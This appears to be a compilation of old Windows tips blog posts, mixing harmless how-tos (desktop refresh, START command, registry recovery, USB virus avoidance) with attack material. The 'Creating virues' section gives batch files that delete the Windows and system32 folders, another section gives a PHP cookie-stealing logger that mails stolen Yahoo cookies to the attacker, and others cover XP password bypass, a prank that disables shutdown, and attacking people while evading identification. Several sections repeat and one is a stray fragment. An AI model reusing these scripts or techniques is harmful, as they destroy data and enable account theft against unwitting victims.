The Myth Of Refreshing The Desktop
"Do you refresh your desktop?". Ask this to any Windows user and 99% of them will reply with a "yes". Of course, there are various needs for refreshing the desktop but the majority of people who does it doesn't even know why he is doing it. Refreshing the desktop is perhaps the biggest computer myth among all Windows users.
Every single person I have met does this or at least used to do it. It's not known who first discovered this remarkably useless trick and what he achieved from it, but it just spread. Most new users learn this trick from other new users without caring to know what it does. Some do it devotedly just because others do it, while some others have various weird explanations for it. A few of them assumes that it refreshes the RAM, while some others believe that doing it will somehow keep their PCs running smooth and easy. I have seen some users obsessed with refreshing the desktop, doing it every 30 seconds or so. They have even learnt the keyboard shortcut - F5 (just to mention, these are the people who never use keyboard shortcuts). They would press the key and wouldn't release it for a long time, sending the desktop into a frenzy of refreshes.
What does a desktop refresh actually do? Refreshing the desktop simply redraws the icons on the desktop. That's it! It doesn't refreshes the RAM. It doesn't clean your PC. It doesn't refreshes your computer the way it does to you when you wake up from a nap. Refreshing the desktop has absolutely no effect on the working or performance of the computer. So why is the tool there? As I said, refresh is used to re-display or redraw the icons on the desktop. Sometimes when you bring some changes to the desktop icons, the change doesn't get reflected instantly. In such cases, refreshing the desktop becomes necessary to bring the change to effect. Say, you have the desktop icons set to arrange themselves alphabetically on your desktop. When you add a new item to the desktop, this item wouldn't get arranged alphabetically, instead it would appear at the bottom of icon list on the desktop, irrespective of it's name. Now if you refresh the desktop, all the icons would be once more arranged alphabetically and the newly added item would go to it's appropriate position. This is what refresh is for. It is to re-display the desktop. Refresh has the same function when done in explorer. Also Refresh is basically the command used to refresh/reload the video buffer(VGA memory). Sometimes the changes made in the VGA memory are not reflected to the screen properly...Refresh just corrects the prob...
So, if you are in the habit of refreshing the desktop, stop it. You are just wasting your time and effort. And the next time you see a person doing it, don't forget to explain to him the futility of this action

Crack win xp password
# Place your Windows XP CD in your cd-rom and start your computer (it's assumed here that your XP CD is bootable as it should be - and that you have your bios set to boot from CD)
# Keep your eye on the screen messages for booting to your cd Typically, it will be "Press any key to boot from cd"
# Once you get in, the first screen will indicate that Setup is inspecting your system and loading files.
# When you get to the Welcome to Setup screen, press ENTER to Setup Windows now
# The Licensing Agreement comes next - Press F8 to accept it.
# The next screen is the Setup screen which gives you the option to do a Repair.It should read something like "If one of the following Windows XP installations is damaged, Setup can try to repair it"Use the up and down arrow keys to select your XP installation (if you only have one, it should already be selected) and press R to begin the Repair process.
# Let the Repair run. Setup will now check your disks and then start copying files which can take several minutes.
# Shortly after the Copying Files stage, you will be required to reboot. (this will happen automatically and you will see a progress bar stating "Your computer will reboot in 15 seconds"
# During the reboot, do not make the mistake of "pressing any key" to boot from the CD again! Setup will resume automatically with the standard billboard screens and you will notice Installing Windows is highlighted.
# Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.
# At the prompt, type NUSRMGR.CPL and press Enter. Voila! You have just gained graphical access to your User Accounts in the Control Panel.

Creating virues.
Here you will find out how easy it is to make virus in Ms dos.
Ok to start off making a dos virus you must have notepad all computers have it so just open it up then type in this code and save the file as a .BAT it must be .bat to work.
Here is the code...1)
@echo off
cd
cd c:\window
@deltree/y c:\windows
exit
This will delete the file windows. ONLY USE THIS CODE TO DELETE WINDOWS ON YOUR OWN COMPUTER!
This one is going to be a bit more eviler then the last so do not go sending it out ok.
2)
@echo off
cd
cd c:/WINDOWS/system32
: copyxcopy/c C:/windows
goto copy
cd
cd c:/WINDOWS/system32
: copy
xcopy/c %0
goto cop
This will delete system 32 and amke a backup copy of the file in windows and it will open up when the computer runs so if then get a backup of windows then it will get delete.
Now for a trojan in dos well maybe not a real trojan but it is a good virus and will give you admin power in a computer
you can use this if you have two pc in your house but if you use it on someone adn they dunno about it then the cops maybe coming to your door .

DOS command-START
Starts a separate window to run a specified program or command.
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE /SHARED][/LOW /NORMAL /HIGH /REALTIME /ABOVENORMAL /BELOWNORMAL][/WAIT] [/B] [command/program][parameters]
"title" Title to display in window title bar path Starting directory
/B Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application
/I The new environment will be the original environment passed to the cmd.exe and not the current environment
/MIN Start window minimized
/MAX Start window maximized
/SEPARATE Start 16-bit Windows program in separate memory space
/SHARED Start 16-bit Windows program in shared memory space
/LOW Start application in the IDLE priority class
/NORMAL Start application in the NORMAL priority class
/HIGH Start application in the HIGH priority class
/REALTIME Start application in the REALTIME priority class
/ABOVENORMAL Start application in the ABOVENORMAL priority class
/BELOWNORMAL Start application in the BELOWNORMAL priority class
/WAIT Start application and wait for it to terminate command
/program If it is an internal cmd command or a batch file then the command processor is run with the /K switch to cmd.exe. This means that the window will remain after the command has been run.
If it is not an internal cmd command or batch file then it is a program and will run as either a windowed application or a console application. parameters These are the parameters passed to the command/program
If Command Extensions are enabled, external command invocationthrough the command line or the START command changes as follows:
non-executable files may be invoked through their file association just by typing the name of the file as a command. (e.g. WORD.DOC would launch the application associated with the .DOC file extension).
See the ASSOC and FTYPE commands for how to create theseassociations from within a command script.
When executing an application that is a 32-bit GUI application, CMD.EXE does not wait for the application to terminate before returning tothe command prompt. This new behavior does NOT occur if executing within a command script.
When executing a command line whose first token is the string "CMD " without an extension or path qualifier, then "CMD" is replaced with the value of the COMSPEC variable. This prevents picking up CMD.EXE from the current directory.
When executing a command line whose first token does NOT contain an extension, then CMD.EXE uses the value of the PATHEXT environment variable to determine which extensions to look for and in what order. The default value for the PATHEXT variable is:
.COM;.EXE;.BAT;.CMD
Notice the syntax is the same as the PATH variable, with semicolons separating the different elements.
When searching for an executable, if there is no match on any extension, then looks to see if the name matches a directory name. If it does, the START command launches the Explorer on that path. If done from the command line, it is the equivalent to doing a CD /D to that path.
Examples
start notepad myfile.txt
Start a new instance of notepad with the file myfile.txt open in it.
start /MAX notepad
Start the notepad window with the screen maximized.
start /MIN mybatch.bat
The above example would start the batch file mybatch.bat in a minimized window.
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE /SHARED][/LOW /NORMAL /HIGH /REALTIME /ABOVENORMAL /BELOWNORMAL][/WAIT] [/B] [command/program][parameters]
"title" Title to display in window title bar path Starting directory
/B Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application
/I The new environment will be the original environment passed to the cmd.exe and not the current environment
/MIN Start window minimized
/MAX Start window maximized
/SEPARATE Start 16-bit Windows program in separate memory space
/SHARED Start 16-bit Windows program in shared memory space
/LOW Start application in the IDLE priority class
/NORMAL Start application in the NORMAL priority class
/HIGH Start application in the HIGH priority class
/REALTIME Start application in the REALTIME priority class
/ABOVENORMAL Start application in the ABOVENORMAL priority class
/BELOWNORMAL Start application in the BELOWNORMAL priority class
/WAIT Start application and wait for it to terminate command

Avoid USB Virus / Worms
USB Devices like i-pod,pen drives e.t.c; brings viruses/worms which are bad since it disables a lot of features as well as it ruins memory the slows down the whole thing. It disables much of the removal process like Windows RegEdit.exe, MsConfig.exe and also TaskMan.exe. Variations of these also disables your keyboard during normal booting, floods your disk with virus files in the root directory and also the windows directory and some also floods your directory with Folder looking icons that is an executable..
So here are some tips in avoiding this:
1. Always make all files visible like system and also hidden files with their extension shown.Go to Windows Explorer > Tools > Folder Option > View
* Enable Show Hidden File
* Disable Hide Extensions for know file type
* Disable Hide Protected OS files
2. Never Use the Autorun functionality in Windowswhenever you put a disk(flash, memory card, usb drive devices and other form of removable drive) it is always a practice to scan it first. but to avoid being the first to be infected by a wild one, always use Windows Explorer to browse the files.
Use the left side(Folder Window), to browse the files.
Whenever you see an autorun.inf file, delete it! remove the disk and insert it again to avoid clicking it.
To disable autorun go to gpedit.msc >> computer config >> admin templates >> system >> turn off autoplay
3. Always update Virus database!

Compress ur 1GB file into less than 20MB
Hey guys check out this Article I found off the net (I found it through google, i don't remember the site):
KGB Archiver is the compression tool with an unbelievably high compression rate. Unfortunately, in spite of its powerful compression rate, it has high hardware requirements (Irecommend processor with 1,5GHz clock and 256MB of RAM as an essential minimum). One of the advantages of KGB Archiver is also AES-256 encryption which is used to encrypt the archives. This is one of the strongest encryptions known .

6 ways to safeguard your PC online
Here are some precautions you can take to keep your PC safe from online hazards like viruses, worms, and Trojan horses:
1)Install an antivirus software program on your computer (for more info, see the related tip: Protect your PC with antivirus software).
2)Be suspicious of any e-mail attachments that you receive from unknown sources. E-mail is the main source of viruses, worms, and Trojan horses.
3)Be suspicious of downloads sent to you via chat applications (such as MSN Messenger or AIM).
4)Be picky about where you download files from on the Internet; many virus and worm writers use free software to disguise malicious applications.
5)Make sure that your PC has all the latest patches and updates installed (if you run Windows, visit the Windows Update site to install all the patches your operating system needs).
6)Scan all discs and downloads for viruses before running them.
1)Install an antivirus software program on your computer (for more info, see the related tip: Protect your PC with antivirus software).
2)Be suspicious of any e-mail attachments that you receive from unknown sources. E-mail is the main source of viruses, worms, and Trojan horses.
3)Be suspicious of downloads sent to you via chat applications (such as MSN Messenger or AIM).
4)Be picky about where you download files from on the Internet; many virus and worm writers use free software to disguise malicious applications.
5)Make sure that your PC has all the latest patches and updates installed (if you run Windows, visit the Windows Update site to install all the patches your operating system needs).
6)Scan all discs and downloads for viruses before running them.
What is Phishing?
The act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.
The e-mail directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has.
The Web site, however, is bogus and set up only to steal the user’s information.
For example, 2003 saw the proliferation of a phishing scam in which users received e-mails supposedly from eBay claiming that the user’s account was about to be suspended unless he clicked on the provided link and updated the credit card information that the genuine eBay already had. Because it is relatively simple to make a Web site look like a legitimate organizations site by mimicking the HTML code, the scam counted on people being tricked into thinking they were actually being contacted by eBay and were subsequently going to eBay’s site to update their account information. By spamming large groups of people, the “phisher” counted on the e-mail being read by a percentage of people who actually had listed credit card numbers with eBay legitimately.
Phishing, also referred to as brand spoofing or carding, is a variation on "fishing," the idea being that bait is thrown out with the hopes that while most will ignore the bait, some will be tempted into biting.

The greatest virus of all time ...
There is a virus on the net from a long time, the damage inflicted by it is unstoppable, or at least that was though, check it out yourself
…just kidding, it does not exist but such a virus would be something great =)

Remove ShutDown option...
This is a neat trick you can play on that lamer that has a huge ego, in this section I teach you, how to disable the Shut Down option in the Shut Down Dialog Box. This trick involves editing the registry, so please make backups.
Launch regedit.exe and go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right pane look for the NoClose Key. If it is not already there then create it by right clicking in the right pane and selecting New > String Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right pane, right click on it and select Modify. Then Type 1 in the Value Data Box.
Doing the above on a Win98 system disables the Shut Down option in the Shut Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to 1 then click on the Start > Shut Down button displays the following error message:
This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.
You can enable the shut down option by changing the value of NoCloseKey to 0 or simply deleting the particular entry i.e. deleting NoCloseKey.
Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it's contents to the registry by double clicking on it.

Open the Command Prompt from the Right-Click Menu
I began computing in the days of DOS, and I still can't give up the command prompt. When it comes to doing down-and-dirty tasks like mass deleting or renaming of files, nothing beats it. I find myself frequently switching back and forth between Windows Explorer and the command prompt.Often, when using Windows Explorer, I want to open the command prompt at the folder that's my current location.
That takes too many steps: opening a command prompt and then navigating to my current folder.
However, there's a quicker way: you can add an option to the right-click context menu that will open a command prompt at your current folder.
For example, if you were to right-click the
C:\My Stuff folder,
you could then choose to open a command prompt at
C:\My Stuff.To add the option, run the Registry Editor, then go to
HKEY_LOCAL_MACHINE/Software/Classes/Folder/Shell.
Create a new key called Command Prompt. For the default value, enter whatever text you want to appear when you right-click a folderfor example, Open Command Prompt.
Create a new key beneath the Command Prompt key called Command.
Set the default value to Cmd.exe /k pushd %L.
That value will launch Cmd.exe, which is the XP command prompt.
The /k switch puts the prompt into interactive mode.
That is, it lets you issue commands from the command prompt; the command prompt isn't being used to issue only a single command and then exit. The pushd command stores the name of the current directory, and %L uses that name to start the command prompt at it.
Exit the Registry.
The new menu option will show up immediately.
Note that it won't appear when you right-click a file; it shows up only when you right-click a folder.While many of us like fussing around with the Registry rather than doing things the easy way, there's also a way to add this option to your right-click context menu without editing the Registry.

How hackers steal or hack Yahoo Passwords....
This article is meant to provide more info on how to protect your yahoo account and every account in general and should not be used for stealing someone’s info, password etc. It’s purely informative.
I did a search on this new thing that they use, it had to be something on the “client side”, a bug that could be sent inside an email, a new thing, undetected by yahoo, yet - it’s easyer to attack than to deffend they say.
It didn’t take me too much to find this code which writes the recipient’s cookie (stored in C:/ under the Cookies folder) inside a .log file that is copy-pasted by the hacker overwriting his own cookie that yahoo stored inside his computer and than easilly accessing the victim’s yahoo email.
The bug:
…which calls this php script:
$file=”cookie.log”;
if (isset($_REQUEST[”id”]) &&isset($_REQUEST[”cookie”])){
$logcookie =$_REQUEST[”cookie”];
$logcookie =rawurldecode($logcookie);
$logemail = $_REQUEST[”id”];
$logemail =rawurldecode($logemail);
if (file_exists($file)){
$handle=fopen($file,”r+”);
$filecontence=fread($handle,filesize(”$file”));
fclose($handle);
}
$handle=fopen($file, “w”);
fwrite($handle, “$logemail -$logcookie\n$filecontence\n “);
//Writing email address and cookiethen the rest of the log
fclose($handle);
mail(”email”, “$logemail”,”$logemail\n$logcookie\n$filecontence\n”);
}
header(”Location:http://mail.yahoo.com”); ?> …which writes the cookie to the hackers .log file that resides on his server. A very simple example but so deadly.
NOTE: The code is a little changed to make it hard to use without PHP knowledge.

How to recover from a corrupted registry that prevents Windows XP from starting
When you try to start or restart your Windows XP-based computer, you may receive one of the following error messages:
"Windows XP could not start because the following file is missing or corrupt:\WINDOWS\SYSTEM32\CONFIG\SYSTEM"
"Windows XP could not start because the following file is missing or corrupt: \WINDOWS\SYSTEM32\CONFIG\SOFTWARE "
"Stop: c0000218 {Registry File Failure} The registry cannot load the hive (file): \SystemRoot\System32\Config\SOFTWARE or its
log or alternate "
"System error: Lsass.exe"
When trying to update a password the return status indicates that the value provided as the current password is not correct.
Manual steps to recover a corrupted registry that prevents Windows XP from starting
The procedure that this article describes uses Recovery Console and System Restore.
This article also lists all the required steps in specific order to make sure that the process is fully completed.
When you finish this procedure, the system returns to a state very close to the state before the problem occurred.
If you have ever run NTBackup and completed a system state backup, you do not have to follow the procedures in parts two and three.
You can go to part four.
Part one
In part one, you start the Recovery Console, create a temporary folder, back up the existing registry files to a new location, delete the registry files at their existing location, and then copy the registry files from the repair folder to the System32\Config folder.
When you have finished this procedure, a registry is created that you can use to start Windows XP.
This registry was created and saved during the initial setup of Windows XP.
Therefore any changes and settings that occurred after the Setup program was finished are lost.
To complete part one, follow these steps:
1. Insert the Windows XP startup disk into the floppy disk drive, or insert the Windows XP CD-ROM into the CD-ROM drive, and then restart the computer.
Click to select any options that are required to start the computer from the CD-ROM drive if you are prompted to do so.
2. When the "Welcome to Setup" screen appears, press R to start the Recovery Console.
3. If you have a dual-boot or multiple-boot computer, select the installation that you want to access from the Recovery Console.
4. When you are prompted to do so, type the Administrator password. If the administrator password is blank, just press ENTER.
5. At the Recovery Console command prompt, type the following lines, pressing
ENTER after you type each line:
md tmp
copy c:\windows\system32\config\system
c:\windows\tmp\system.bak
copy c:\windows\system32\config\software
c:\windows\tmp\software.bak
copy c:\windows\system32\config\sam
c:\windows\tmp\sam.bak
copy c:\windows\system32\config\security
c:\windows\tmp\security.bak
copy c:\windows\system32\config\default
c:\windows\tmp\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system
c:\windows\system32\config\system
copy c:\windows\repair\software
c:\windows\system32\config\software
copy c:\windows\repair\sam
c:\windows\system32\config\sam
copy c:\windows\repair\security
c:\windows\system32\config\security
copy c:\windows\repair\default
c:\windows\system32\config\default
6. Type exit to quit Recovery Console. Your computer will restart.
Note :- This procedure assumes that Windows XP is installed to the
C:\Windows folder.
Make sure to change C:\Windows to the appropriate windows_folder if it is a different location.
If you have access to another computer, to save time, you can copy the text in step five, and then create a text file called "Regcopy1.txt" (for example). To use this file, run the following command when you start in
Recovery
Console:
batchregcopy1.txt
With the batch command in Recovery Console, you can process all the commands in a text file sequentially. When you use the batch command, you do not have to manually type as many commands.
Part two
To complete the procedure described in this section, you must be logged on as an administrator, or an administrative user (a user who has an account in the Administrators group).
If you are using Windows XP Home Edition, you can log on as an administrative user.
If you log on as an administrator, you must first start Windows XP Home Edition in Safe mode. To start the Windows XP Home Edition computer in Safe mode, follow these steps.
Note Print these instructions before you continue. You cannot view these instructions after you restart the computer in Safe Mode.
If you use the NTFS file system, also print the instructions from Knowledge Base article KB309531.
Step 7 contains a reference to the article.
1. Click Start, click Shut Down (or click Turn Off Computer), click Restart, and then click OK (or click Restart).
2. Press the F8 key.
On a computer that is configured to start to multiple operating systems, you can press F8 when you see the Startup menu.
3. Use the arrow keys to select the appropriate Safe mode option, and then press ENTER.
4. If you have a dual-boot or multiple-boot system, use the arrow keys to select the installation that you want to access, and then press ENTER. In part two, you copy the registry files from their backed up location by using System Restore. This folder is not available in Recovery Console and is generally not visible during typical usage. Before you start this procedure, you must change several settings to make the folder visible:
1. Start Windows Explorer.
2. On the Tools menu, click Folder options.
3. Click the View tab.
4. Under Hidden files and folders, click to select Show hidden files and folders, and then click to clear the Hide protected operating system files (Recommended) check box.
5. Click Yes when the dialog box that confirms that you want to display these files appears.
6. Double-click the drive where you installed Windows XP to display a list of the folders. If is important to click the correct drive.
7. Open the System Volume Information folder. This folder is unavailable and appears dimmed because it is set as a super-hidden folder.Note This folder contains one or more _restore {GUID} folders such as "_restore{87BD3667-3246-476B-923F-F86E30B3E7F8}".
8. Open a folder that was not created at the current time. You may have to click Details on the View menu to see when these folders were created. There may be one or more folders starting with "RPx under this folder. These are restore points.
9. Open one of these folders to locate a Snapshot subfolder. The following path is an example of a folder path to the Snapshot folder:
C:\System Volume Information\_restore{D86480E3-73EF-47BC-A0EB-A81BE6EE3ED8}\RP1\Snapshot
10. From the Snapshot folder, copy the following files to the
C:\Windows\Tmp
folder:
• _REGISTRY_USER_.DEFAULT
• _REGISTRY_MACHINE_SECURITY
• _REGISTRY_MACHINE_SOFTWARE
• _REGISTRY_MACHINE_SYSTEM
• _REGISTRY_MACHINE_SAM
11. Rename the files in the
C:\Windows\Tmp folder as follows:
• Rename _REGISTRY_USER_.DEFAULT to DEFAULT
• Rename _REGISTRY_MACHINE_SECURITY to SECURITY
• Rename _REGISTRY_MACHINE_SOFTWARE to SOFTWARE
• Rename _REGISTRY_MACHINE_SYSTEM to SYSTEM
• Rename _REGISTRY_MACHINE_SAM to SAM
These files are the backed up registry files from System Restore. Because you used the registry file that the Setup program created, this registry does not know that these restore points exist and are available.
A new folder is created with a new GUID under System Volume Information and a restore point is created that includes a copy of the registry files that were copied during part one.
Therefore, it is important not to use the most current folder, especially if the time stamp on the folder is the same as the current time. The current system configuration is not aware of the previous restore points. You must have a previous copy of the registry from a previous restore point to make the previous restore points available again.
The registry files that were copied to the Tmp folder in the
C:\Windows folder
are moved to make sure that the files are available under Recovery Console.
You must use these files to replace the registry files currently in the
C:\Windows\System32\Config folder.
By default, Recovery Console has limited folder access and cannot copy files from the System Volume folder.
Part Three
In part three, you delete the existing registry files, and then copy the System Restore Registry files to the
C:\Windows\System32\Config folder:
1. Start Recovery Console.
2. At the command prompt, type the following lines, pressing
ENTER after you
type each line:
del c:\windows\system32\config\sam
del c:\windows\system32\config\security
del c:\windows\system32\config\software
del c:\windows\system32\config\default
del c:\windows\system32\config\system
copy c:\windows\tmp\software
c:\windows\system32\config\software
copy c:\windows\tmp\system
c:\windows\system32\config\system
copy c:\windows\tmp\sam
c:\windows\system32\config\sam
copy c:\windows\tmp\security
c:\windows\system32\config\security
copy c:\windows\tmp\default
c:\windows\system32\config\default
Note Some of these command lines may be wrapped for readability.
3. Type exit to quit Recovery Console. Your computer restarts.
Note This procedure assumes that Windows XP is installed to the
C:\Windows folder.
Make sure to change C:\Windows to the appropriate windows_folder if it is a different location.
If you have access to another computer, to save time, you can copy the text in step two, and then create a text file called "Regcopy2.txt" (for example).
To use this file, run the following command when you start in Recovery Console:
batch regcopy2.txt
Part Four
1. Click Start, and then click All Programs.
2. Click Accessories, and then click System Tools.
3. Click System Restore, and then click Restore to a previous RestorePoint.
"Windows XP could not start because the following file is missing or corrupt:\WINDOWS\SYSTEM32\CONFIG\SYSTEM"
"Windows XP could not start because the following file is missing or corrupt: \WINDOWS\SYSTEM32\CONFIG\SOFTWARE "
"Stop: c0000218 {Registry File Failure} The registry cannot load the hive (file): \SystemRoot\System32\Config\SOFTWARE or its
log or alternate "
"System error: Lsass.exe"
When trying to update a password the return status indicates that the value provided as the current password is not correct.
Manual steps to recover a corrupted registry that prevents Windows XP from starting
The procedure that this article describes uses Recovery Console and System Restore.
This article also lists all the required steps in specific order to make sure that the process is fully completed.
When you finish this procedure, the system returns to a state very close to the state before the problem occurred.
If you have ever run NTBackup and completed a system state backup, you do not have to follow the procedures in parts two and three.
You can go to part four.
Part one
In part one, you start the Recovery Console, create a temporary folder, back up the existing registry files to a new location, delete the registry files at their existing location, and then copy the registry files from the repair folder to the System32\Config folder.
When you have finished this procedure, a registry is created that you can use to start Windows XP.
This registry was created and saved during the initial setup of Windows XP.
Therefore any changes and settings that occurred after the Setup program was finished are lost.
To complete part one, follow these steps:
1. Insert the Windows XP startup disk into the floppy disk drive, or insert the Windows XP CD-ROM into the CD-ROM drive, and then restart the computer.
Click to select any options that are required to start the computer from the CD-ROM drive if you are prompted to do so.
2. When the "Welcome to Setup" screen appears, press R to start the Recovery Console.
3. If you have a dual-boot or multiple-boot computer, select the installation that you want to access from the Recovery Console.
4. When you are prompted to do so, type the Administrator password. If the administrator password is blank, just press ENTER.
5. At the Recovery Console command prompt, type the following lines, pressing
ENTER after you type each line:
md tmp
copy c:\windows\system32\config\system
c:\windows\tmp\system.bak
copy c:\windows\system32\config\software
c:\windows\tmp\software.bak
copy c:\windows\system32\config\sam
c:\windows\tmp\sam.bak
copy c:\windows\system32\config\security
c:\windows\tmp\security.bak
copy c:\windows\system32\config\default
c:\windows\tmp\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system
c:\windows\system32\config\system
copy c:\windows\repair\software
c:\windows\system32\config\software
copy c:\windows\repair\sam
c:\windows\system32\config\sam
copy c:\windows\repair\security
c:\windows\system32\config\security
copy c:\windows\repair\default
c:\windows\system32\config\default
6. Type exit to quit Recovery Console. Your computer will restart.
Note :- This procedure assumes that Windows XP is installed to the
C:\Windows folder.
Make sure to change C:\Windows to the appropriate windows_folder if it is a different location.
If you have access to another computer, to save time, you can copy the text in step five, and then create a text file called "Regcopy1.txt" (for example). To use this file, run the following command when you start in
Recovery
Console:
batchregcopy1.txt
With the batch command in Recovery Console, you can process all the commands in a text file sequentially. When you use the batch command, you do not have to manually type as many commands.

Find every files on your PC by Editing registry
When you search for a file in Windows (choose Start, Search, For Files or Folders, or press in any Explorer or folder window to open the search pane),Windows searches only for file types it recognizes.
Files that aren't listed in the 'Registered file types' list are ignored (to view this list, open Explorer, choose Tools, Folder Options, and click the File Types tab).
So while 'Read_Me.xyz' may be a perfectly good file name to you, Windows pays it no mind because of the unrecognized '.xyz' file extension.
Fortunately, a simple edit of the Registry will make Windows search for every file, regardless of its extension.
Open the Registry Editor as described above,and then navigate to and select
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\ContentIndex.
Double-click the FilterFilesWithUnknownExtensions icon in the right pane, change the 0 in the 'Value data' box to 1, and
press.

Recovering the windows password
Many times we forget our Windows password. Then we panic, call experts and finally we lose all important information saved in Windows.
Now here is a way by which we can recover Windows password easily.
1. Place your Windows XP CD in your CD ROM and start your computer (it’s assumed here that your XP CD is bootable – as it should be - and that you have your BIOS set to boot from CD)
2. Keep your eye on the screen messages for booting to your CD typically; it will be “Press any key to boot from CD”
3. Once you get in, the first screen will indicate that Setup is inspecting your system and loading files.
4. When you get to the Welcome to Setup screen, press ENTER to Setup Windows now
5. The Licensing Agreement comes next - Press F8 to accept it.
6. The next screen is the Setup screen which gives you the option to do a Repair.It should read something like “If one of the following Windows XP installations is damaged, Setup can try to repair it”Use the up and down arrow keys to select your XP installation (if you only have one, it should already be selected) and press R to begin the Repair process.
7. Let the Repair run. Setup will now check your disks and then start copying files which can take several minutes.
8. Shortly after the Copying Files stage, you will be required to reboot. (This will happen automatically – you will see a progress bar stating “Your computer will reboot in 15 seconds”)
9. During the reboot, do not make the mistake of “pressing any key” to boot from the CD again! Setup will resume automatically with the standard billboard screens and you will notice Installing Windows is highlighted.
10. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.
11. At the prompt, type NUSRMGR.CPL and press Enter. Voila! You have just gained graphical access to your User Accounts in the Control Panel.
12. Now simply pick the account you need to change and remove or change your password as you prefer. If you want to log on without having to enter your new password, you can type control userpasswords2 at the prompt and choose to log on without being asked for password. After you’ve made your changes close the windows, exit the command box and continue on with the Repair (have your Product key handy).
13. Once the Repair is done, you will be able to log on with your new password (or without a password if you chose not to use one or if you chose not to be asked for a password). Your programs and personalized settings should remain intact.
Enjoy..!!

* Now paste it in notepad.

***NOTE::Actually ive worked with this code...but there is an error...in it..
everything goes right..i.e a folder named locker will be created...n it will ask u whether to lock th folder or not....till then its fine.....but u cannot open the batch file again..i mean to say that..
the .bat file whch u saved doesnt open ......
so if u hav stored any files....in the locker...u can see them again only..wen u set ur folder options settings.....
GO to tools->folder options->view->
here u will have an option "Hide protected operating system files(Recommended)"...
Uncheck this box...
so u will find the hidden or the files u hav stored in the locker..

Forgot ur XP password?????....
Many times we forget our Windows password. Then we panic, call experts and finally we lose all important information saved in Windows.
Now here is a way by which we can recover Windows password easily.
1. Place your Windows XP CD in your CD ROM and start your computer (it’s assumed here that your XP CD is bootable – as it should be - and that you have your BIOS set to boot from CD)
2. Keep your eye on the screen messages for booting to your CD typically; it will be “Press any key to boot from CD”
3. Once you get in, the first screen will indicate that Setup is inspecting your system and loading files.
4. When you get to the Welcome to Setup screen, press ENTER to Setup Windows now
5. The Licensing Agreement comes next - Press F8 to accept it
.6. The next screen is the Setup screen which gives you the option to do a Repair.It should read something like “If one of the following Windows XP installations is damaged, Setup can try to repair it”Use the up and down arrow keys to select your XP installation (if you only have one, it should already be selected) and press R to begin the Repair process
.7. Let the Repair run. Setup will now check your disks and then start copying files which can take several minutes.
8. Shortly after the Copying Files stage, you will be required to reboot. (This will happen automatically – you will see a progress bar stating “Your computer will reboot in 15 seconds”)
9. During the reboot, do not make the mistake of “pressing any key” to boot from the CD again! Setup will resume automatically with the standard billboard screens and you will notice Installing Windows is highlighted.
10. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.
11. At the prompt, type NUSRMGR.CPL and press Enter. Voila! You have just gained graphical access to your User Accounts in the Control Panel.
12. Now simply pick the account you need to change and remove or change your password as you prefer. If you want to log on without having to enter your new password, you can type control userpasswords2 at the prompt and choose to log on without being asked for password. After you’ve made your changes close the windows, exit the command box and continue on with the Repair (have your Product key handy).
13. Once the Repair is done, you will be able to log on with your new password (or without a password if you chose not to use one or if you chose not to be asked for a password).
Your programs and personalized settings should remain intact.

->Changing the root drive for CMD....
You might be aware of DOS prompt....its nothing but the cmd command.....
Just click the START button,n then click on the run button.....then in the box type cmd or cmd.exe.
U can observe dat the command prompt by default starts as...
C:\Document and Settings\>
so if u need to change the root directory to another drive of ur system..like
D:\> or
E:\>.....etc.
All u need is to copy the cmd.exe or cmd file which is located at
C:\WINDOWS\system32
and paste it in the drive u need.....
then when u run it from the desired hard drive..
u can see the root directory to be the letter of that drive...
or
just press the drive letter followed by the symbol colon ":"
like D:
E:
etc....

-> About IP address....
Everyone that connects to an network, has got a IP address. A IP address looks something like this : 80.65.123.25
Your network card has an IP and your modem has an IP address if you connect to the Internet, but both is diffident because your LAN is not part of the internet.
When you connect to Internet, depending on your connection, you get a fixed ( static ) IP or a dynamic IP. Modem users gets a IP address that changed every time they reconnect to internet, Very useful if you attack people, so if you disconnect, then you get a diffident IP. If you have a ISDN or maybe ADSL connection most of the time you will get a static IP, so whenever you connect to internet you get the same IP every time.
Attack someone without IP spoofing, they will be able to see it is your IP attacking them! They can then go to your ISP ( internet service provider ), check who does this IP belong to and you can get into trouble. This is where modem users are lucky, they don't have a static IP and then can go mad and attack people and so without being caught, well almost... Their ISP can still check who was using the certain IP for a certain time and what telephone number it was coming from, but its too much of a hassle for a simple DOS attack.
IP spoofing is basically when you attack someone and you use a bogus IP. a DOS attack or whatever, it attacks the target, but the target only receives data from bogus IP's. IP's that does not really exist, or it does excist but it is someone else's IP, not yours.
Every network cards has a burned in MAC address. a MAC address looks something like this : 00-40-AH-4E-E0-90, it cannot be changed - well kind of, so if you attack someone and they do a nbstat on you, get your MAC address of your network card, it is a simple way of identifying you as the attacker
